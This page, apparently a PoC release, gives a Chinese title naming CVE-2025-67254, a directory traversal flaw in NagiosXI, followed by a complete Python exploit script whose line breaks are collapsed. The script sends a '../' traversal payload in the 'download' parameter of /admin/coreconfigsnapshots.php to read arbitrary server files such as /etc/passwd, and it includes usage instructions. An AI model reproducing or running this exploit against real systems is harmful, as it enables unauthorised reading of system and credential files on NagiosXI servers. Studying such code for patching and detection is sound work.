CVE-2025-67254 NagiosXI目录遍历漏洞

import requests import sys # CVE-2025-67254 NagiosXI Directory Traversal PoC # Target: NagiosXI /admin/coreconfigsnapshots.php def exploit(target_url, file_path): """ Exploit directory traversal vulnerability in NagiosXI Args: target_url: Base URL of NagiosXI instance file_path: File to read (e.g., /etc/passwd) """ # Construct the malicious URL with directory traversal traversal_payload = "../../../../.." + file_path params = { 'download': traversal_payload } target = target_url.rstrip('/') + '/admin/coreconfigsnapshots.php' print(f"[*] Target: {target}") print(f"[*] Attempting to read: {file_path}") try: response = requests.get(target, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content:") print("-" * 50) print(response.text[:2000]) # Print first 2000 chars return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-67254.py <target_url> <file_path>") print("Example: python cve-2025-67254.py http://nagios.example.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)